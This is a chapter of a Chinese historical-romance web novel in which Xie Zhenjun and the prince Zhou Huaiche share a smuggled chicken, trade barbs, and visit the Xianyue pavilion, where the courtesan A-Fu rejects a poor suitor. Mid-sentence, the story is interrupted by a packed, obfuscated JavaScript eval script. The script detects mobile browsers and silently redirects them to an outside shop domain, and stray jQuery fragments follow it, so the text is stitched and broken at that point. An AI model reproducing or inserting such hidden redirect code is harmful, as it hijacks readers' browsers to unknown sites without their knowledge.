疯了吧,怎么会是烧鸡?!
越近门口,香气越浓,谢真君开门一瞧,头顶赫然悬着一只四方油纸包裹,油渍带着香气从里面沁出来。
倏地,她朝包裹上方握去,心中了然,猛然一扯,从上而下吱哇乱叫地掉下来一个红尘扑扑的人。
“啊……谢真君……好狠的心……”
梁上君子不敢高声而语,这些话周怀澈只能咽到肚子里。他手里还拿着一个竿,竿上绑着一条线,线的另一头还连着谢真君手里的叫花鸡。
他把头脚颠倒回来,盘腿坐在地上:“我还以为你不会出来呢。”
谢真君:“我要是不出来,你怎么办?”
周怀澈不假思索:“把鸡吃了,然后回去——我都这样了,你真不打算让我进去?”
谢真君提了鸡,扭头关门,只听后面——“啊呦,好疼啊!”
“啊呦,疼……”
低声叫了片刻之后,门开了。
“进来。”
“真的?那可是你的闺房?真让我——”
谢真君很不耐烦,周怀澈把竿一丢,格脚一挡即将掩闭的门扉:“进进进,我开玩笑的。”
他拍拍身上的灰尘,后脚便跟了进去。
八仙桌前,两人都抱臂而坐。荷叶鸡静静躺在桌子上,谢真君目不转睛,思忖要不要把对面的人同样也按在桌子上大卸八块。
“你不饿吗?”
“你那天是故意的。”
“哪天?”
“‘良辰美景奈何天’。你早就知道对不对?你知道,太子也知道,上官乾肯定……上官乾,呵……我把你当朋友,你竟然什么都不告诉我,还专门去嘲讽我——”
谢真君吐出一口浊气:“混蛋,全都是混蛋!”
“好好,你骂他们是混蛋可以,别骂我。”
“你最混蛋。”
“……”
“那你给混蛋开门算什么?大混蛋?”周怀澈不给她插嘴的空儿,“能骂这么起兴,还以为你多伤心,亏我看见你什么都没吃还给你带东西过来——”
“这可是我从御膳房偷带过来的,我还怕凉了,”周怀澈的屁股从桌子的一边挪到另一边,坐到了谢真君旁,“你闻闻,我这领子上都是——”
谢真君旋即抬臂横手抵住他前倾过来的脖子——与其说“抵”,不如说是“横劈”。
周怀澈的魂要被劈出来了。
“杀,杀人了你……咳咳……”
“你怎么进来的?”
“……咳咳……”他缓了缓脖子筋骨,嘻嘻一笑,“你先吃,吃完我告诉你。”
谢真君用脚后跟都能想到,翻墙的本事谁不会。但“问心无愧”翻到别人家里的,她还是第一次见。
谢真君无心理他,拆腿解肉地大吃起来。繁文缛节,压得她这一整天没吃东西。
周怀澈又吊个笑脸道:“你也不是那么讨厌我,对不对?”
谢真君头也不抬:“眼睛闭上了听不见。”
“你这吃没吃相,也不怕吓到别人。”
“这个房间里除了我,还有人吗?有人吗?”
“……”
是人不语,终于得了几番清静,但谢真君越来越吃不下去。
“怎么了?”
“腻。”干巴巴咸哄哄的一只鸡,能不腻吗。
“说的也是……要是有酒就好了。嘿,我知道哪里有好酒,你去不去?”
“哪里?”
“闲月阁。”
谢真君愕然。
忽地,她撑着桌角,头埋得很低,身子不停发抖。
周怀澈不由变了脸色,紧张道:“你的伤不会复发了吧?谢真君?你让我看看。谢真君?”
谢真君不忍抬头,可眼角已经因为憋笑挤出了泪,几欲又哭又笑倒在桌下:“哈哈哈哈哈……周,周怀澈……你说你,动不动去闲月阁,却从来不访花问柳……哈哈哈哈哈……”
“咳咳,”她正了正嗓子,探身悄声问道,“你不会是……那啥……嗯……不太……嗯吧?”
谢真君表面隐山埋水,心里快笑疯了。周怀澈的脸从来没有这么黑过,简直黑中带青,青里透乌。
谢真君啪啪啪拍着桌子,笑得已经很惨烈了,还要用一手捂着脸:“没事没事,人有隐疾……我会和阿福一样,绝对不透露一点儿……哈哈哈哈哈哈哈哈……”
不想周怀澈被气到神滞气凝七窍生烟,骤不及防,他横腰抱起谢真君。谢真君脑子一重,再一睁眼,视线和他平行,四目相对,谢真君更是笑声不迭。
认定了他不会怎样,谢真君一手抱着肚子,一手擦着泪,谁知今日越擦越多:“别,有话好好说,哈哈哈哈哈哈……”
周怀澈扫了一眼屋子陈列,径直走向内室,将谢真君“重重拿起轻轻放下”扔在床上。
谢真君还在笑,直到周怀澈半身欺上,扑面而来的寒气逼人,自己动弹不得,两只笑到脱力的手被他一手抓住制在两人中间,才品出一丝不妙。
好像确实有些玩脱了。
周怀澈手如寒铁目如冷潭,声音低沉闷闷道:“你对男人这种事很好奇么?”
她吸了两下鼻子,矢口否认:“不好奇,一点儿都不好奇!”
忽觉腰下硬硬的,周怀澈的手已经放到她的腰上,谢真君不寒而栗。
“你做什么!”
“这是什么?”
见周怀澈举起那只刚被谢真君丢了的宝钏,随后在她眼前玩味地挥了两下。他道:“你可知我皇奶奶的寿宴为什么要你们这些年轻女眷参宴?”
谢真君摇头。
他转眼笑道:“为了给我哥物色太子妃,还有——我的三皇子妃。你说我跟皇奶奶说要娶你,她那么喜欢你,会不会立马下旨?”
谢真君眉眼一凛:“你敢!”
“我怎么不敢?你不是怀疑我吗?那就让你试试。”
须臾,他幽幽道:“要不要试试?”
谢真君哭笑不得又心里发毛:“不逗你了,不逗你了。你没病,我有病,行了吧?走走走,我俩快喝酒去。”
周怀澈眼神更暗,丝毫没有松开她的意思。
谢真君笑道:“那我不提这事了,总行了吧?”
“你还说!”
谢真君立马收住笑容,一本正经道:“这也不行那也不行——不说了,我发誓,从此一个字都不说了。”不当着你的面说,我给别人说,给阿福说,给茗礼说,大说特说。
周怀澈漠然起身,谢真君问:“我们怎么去?不对,是怎么出去?”
谢真君只是象征性问一下,想出去,她的办法可太多了。
谢真君就这样带着一个“梁上君子”在自家院里做“鸡鸣狗盗”之事。
终于偷摸出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17844978|211727||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来后,周怀澈在自己腰间比划一下:“这里就是你‘这么大一点儿’的时候摔下来的地方?胆大包天啊谢真君!”
“废话真多。”
一番鸡同鸭讲对牛弹琴唇枪舌剑,两人才来到灯火通明明如白昼的闲月阁。
周怀澈道:“你等着,我拿了酒,带你去个好地方。”
周怀澈前脚刚进去,后脚一个男人便被一个虎背熊腰的汉子提着丢了出来。男人在台阶上秃噜着滚了一圈,磕得头破血流。
男人摇摇坠坠爬起,发了狠地冲上去,又被一脚踹了下来。
“阿福!让我见一眼阿福!”
“滚!死穷酸样儿!”
男人哆哆嗦嗦爬起来,实在被踹得狠了,嘴角流出血来,心灰意冷般不再挣扎,站在阶前沉默地擦着血。
“癞蛤蟆想吃天鹅肉!”汉子啐了一声。
这声似乎把男人的精神啐碎了,他又冲进去,已经背身离开的壮汉冷不防地被要讨回尊严的男人冲倒,两人又扭打起来。
“你他妈说什么!”
“癞蛤蟆!死穷鬼!没爹没娘的王八蛋!”
男人最后被骑身在下,一拳一拳狠狠打在脸上,头上,肚子上,惨不忍睹。
“住手!”
“住手!”
两声“住手”,一声是谢真君的,一声是阿福的。
周怀澈提了酒坛,走下来拦腰截住谢真君,道:“怎么,才多大一会儿,又要多管闲事了?”
谢真君拧眉看他,他道:“交给阿福,这是她的事,我们管不着。”
壮汉得了令,却仍怒火冲天,把手里提溜的半死不活的男人扔在一边。
阿福站在光影里,衣袂烨然若神女下凡,眉眼间端的是不解的平静,静静看着男人跌跌撞撞站起,又跌跌撞撞走过来:“阿福……今日是……你生辰……我……”
“你别过来。”
“好,我不过去。”男人稳住身体,怅然若失,但眼睛里异常坚决,“你跟我走吧……我们离开长安,你不用在这里——”
“怎样?”阿福轻声又沉重地质问他,“你说,这里怎样了?”
男人张了张口,不知作何回答,只得沉默不语。
阿福继续道:“我没有姓氏,更没有什么生辰。你从来口口声声要带我走,那好,今天我们就说开了,你有什么?你教别人认多少字能养活你自己?你又拿什么养活我?”
“我……”
“拿你的真心吗?”阿福极力稳住声音,但仍有一丝不可察觉的颤抖泄出,“这里来找我的每个人都恨不得捧着他们的真心。”
“我和他们不一样!”
“你们都一样!我告诉你,闲月阁的东西都要花钱买,酒要买,人也要买。你要带我走,行,我给你开个价——一百两黄金,我就让你带我走。”
听此,男人失了魂般,谢真君看出他在遏制自己的哭声:“阿福,我……我们……”
“对,就是这样。你以后不必再来,我也根本没空见你。”
语毕,阿福把手里的东西扔了,糖酥果子滚落一地,三三两两滚到男人脚下。男人慌忙去拾,又一下吃痛跪倒在地,疼得死去活来,倒吸凉气,忙挣扎着抬头看去,只有灯光和靡靡笙歌,阿福早不见了人影。
周怀澈把黑亮的坛子在出神的谢真君眼前晃了晃:“走吧?我们也该走了。”